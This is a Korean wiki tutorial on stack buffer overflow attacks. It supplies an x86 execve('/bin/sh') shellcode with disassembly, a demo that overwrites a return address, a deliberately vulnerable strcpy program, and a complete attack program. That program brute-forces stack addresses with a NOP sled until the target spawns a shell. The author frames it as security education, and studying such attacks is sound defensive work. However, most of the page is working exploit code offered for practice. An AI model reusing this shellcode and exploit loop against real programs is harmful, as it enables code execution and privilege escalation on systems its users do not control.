Buffer over flow 공격에 대한 이해
준비 ¶여기서 sample() 함수가 overflow exec shell 코드이고요.이건 이미 공식화된 코드이기 때문에 제가 조금 양념을 쳐서 이해하기 쉽게 만들어 본겁니다. 해킹은 무지 싫어하지만 이런것도 명확히 알아둬야 자신의 코드가 튼튼해질겁니다. 절대로 BOF(Buffer Over Flow)당할 코드는 만들지 마세요. 이글을 읽고서도 BOF취약 코드 만드는 사람은 바보~
아래와 같은 코드를 만들기 위해서는 다음과 같은 단계를 진행하여 코드를 만듭니다.
%%eax = 0x0b %%ebx = path/filename 포이터 %%ecx = 인자 리스트 포인터 %%edx = 환경변수 리스트 포인터 int $0x80 %%eax = 0x01 %%ebx = exit code(return code) int $0x80 /* Copyright (c) Information Equipment co.,LTD. All right reserved Code by JaeHyuk Cho <mailto:minzkn@infoeq.com> CVSTAG="$Header: /home/httpd/kldp/wiki/data/text/RCS/BufferOverFlow,v 1.6 2008/06/25 06:52:15 kss Exp kss $" */ char __mz_shell_code__[] = { "\xeb\x1d" /* jmp 0f */ /* 1: */ "\x5e" /* pop %esi */ /* call 에 의해서 "/bin/sh" 의 주소가 담겨있게 됨. */ "\x89\x76\x08" /* mov %esi,0x8(%esi) */ "\x31\xc0" /* xor %eax,%eax */ "\x88\x46\x07" /* mov %al,0x7(%esi) */ "\x89\x46\x0c" /* mov %eax,0xc(%esi) */ "\xb0\x0b" /* mov $0x0b,%al */ "\x89\xf3" /* movl %%esi, %%ebx */ "\x8d\x4e\x08" /* lea 0x8(%esi),%ecx */ "\x31\xd2" /* xor %edx,%edx */ "\xcd\x80" /* int $0x80 */ "\xb0\x01" /* mov $0x1,%al */ /* exit system call part */ "\x31\xdb" /* xor %ebx,%ebx */ "\xcd\x80" /* int $0x80 */ /* 0: */ "\xe8\xde\xff\xff\xff" /* call 1b */ "/bin/sh" }; void bof(void) { /* 테스트를 위해 가상으로 BOF 피폭된 함수를 꾸미기 위한 함수 */ volatile unsigned long s_Entry; s_Entry = (unsigned long)(&s_Entry) + sizeof(s_Entry) + sizeof(void *)/* frame */; *((unsigned long *)s_Entry) = (unsigned long)(&__mz_shell_code__); } #if 0 /* __mz_shell_code__ source : 이것이 BOF 실행코드이며 이것을 토대로 코드가 완성됩니다. */ void sample(void) { __asm__ volatile("nop\n\t"); __asm__ volatile( "jmp 0f\n\t" "1:\n\t" "popl %%esi\n\t" "movl %%esi, 0x08(%%esi)\n\t" "xorl %%eax, %%eax\n\t" "movb %%al, 0x07(%%esi)\n\t" "movl %%eax, 0x0c(%%esi)\n\t" "movb $0x0b, %%al\n\t" "movl %%esi, %%ebx\n\t" "leal 0x08(%%esi), %%ecx\n\t" "xorl %%edx, %%edx\n\t" "int $0x80\n\t" "movb $0x01, %%al\n\t" "xorl %%ebx, %%ebx\n\t" "int $0x80\n\t" "0:\n\t" "call 1b\n\t" ".string \"/bin/bash\"\n\t" : : ); __asm__ volatile("nop\n\t"); } #endif int main(void) { bof(); return(0); } 실제 공격패턴 ¶실제로 공격이 어떻게 이루어지는지 직접 경험해봐야 자신의 코드를 더 튼튼히 할수 있을겁니다. 꼭 한번 실습해보시고 보안의 중요성을 인지하시게 되었으면 좋겠습니다. 자! 보안에 대해서 별로 신경쓰지 않는 어떤 사람이 다음과 같은 코드를 생성하였다고 합시다. (실제상황에서는 복잡한 프로그램겠지만 대충 다음과 같은 상황이 취약합니다.)
/* Code by fooman */ #include <stdio.h> #include <string.h> int main(int s_Argc, char *s_Argv[]) { char s_Message[ 8 ]; if(s_Argc <= 1) { fprintf(stdout, "Usage: %s <Message>\n", s_Argv[0]); return(0); } strcpy(s_Message, s_Argv[1]); fputs(s_Message, stdout); return(0); } /* End of source */ /* Code by JaeHyuk Cho <mailto:minzkn@infoeq.com> Attack code */ #include <sys/types.h> #include <sys/wait.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define DEF_ATTACK_PROGRAM "./test1" #define DEF_ATTACK_RANGE (4 << 10) /* 적정 scan 범위값을 취함 : 대상체의 규모가 클수록 이 값을 늘려야 겠죠? */ #define DEF_TARGET_ARRAY_SIZE (8) /* test1.c 의 s_Message의 크기는 8이므로 : 이것은 실험치로 잡아내야 함 */ char __mz_shell_code__[] = { "\xeb\x1d" /* jmp 0f */ /* 1: */ "\x5e" /* pop %esi */ "\x89\x76\x08" /* mov %esi,0x8(%esi) */ "\x31\xc0" /* xor %eax,%eax */ "\x88\x46\x07" /* mov %al,0x7(%esi) */ "\x89\x46\x0c" /* mov %eax,0xc(%esi) */ "\xb0\x0b" /* mov $0x0b,%al */ "\x89\xf3" /* movl %%esi, %%ebx */ "\x8d\x4e\x08" /* lea 0x8(%esi),%ecx */ "\x31\xd2" /* xor %edx,%edx */ "\xcd\x80" /* int $0x80 */ "\xb0\x01" /* mov $0x1,%al */ "\x31\xdb" /* xor %ebx,%ebx */ "\xcd\x80" /* int $0x80 */ /* 0: */ "\xe8\xde\xff\xff\xff" /* call 1b */ "/bin/sh" "\x00" }; int main(void) { unsigned long s_Address; /* 첫번째 스택 변수임을 주의합시다. */ char s_Arg[ DEF_TARGET_ARRAY_SIZE + 4 + sizeof(unsigned long) + sizeof(__mz_shell_code__) ]; char *s_Exec[] = { DEF_ATTACK_PROGRAM, (char *)(&s_Arg[0]), (char *)0 }; /* 적당히 코드가 실행되기 유리하도록 nop(0x90)을 사용 */ memset(&s_Arg[0], 0x90 /* nop */, DEF_TARGET_ARRAY_SIZE + 4); /* shell 실행 기계코드 복사 */ memcpy((void *)(&s_Arg[DEF_TARGET_ARRAY_SIZE + 4 + sizeof(unsigned long)]), (void *)(&__mz_shell_code__[0]), sizeof(__mz_shell_code__)); s_Address = (unsigned long)(&s_Address) - DEF_ATTACK_RANGE; /* 초기 scan 주소 */ do { /* 루프를 기다려봅시다. ^^ */ fprintf(stdout, "ATTACK INFO : >> %08lXH <<\n", s_Address); *((unsigned long *)(&s_Arg[DEF_TARGET_ARRAY_SIZE + 4])) = s_Address; if(fork() == 0) { execvp(s_Exec[0], s_Exec); exit(0); } else wait(0); s_Address += sizeof(unsigned long); }while(1); fprintf(stdout, "\n\nBye.\n"); return(0); } /* End of source */ all: test1 test2 clean: ;$(RM) *.o test1 test2 test1: test1.o ;gcc -s -o $@ $^ test2: test2.o ;gcc -s -o $@ $^ %.o:%.c ;gcc -O0 -Wall -Werror -c -o $@ $< |
As goatheard learns his trade by goat, so writer learns his trade by wrote. |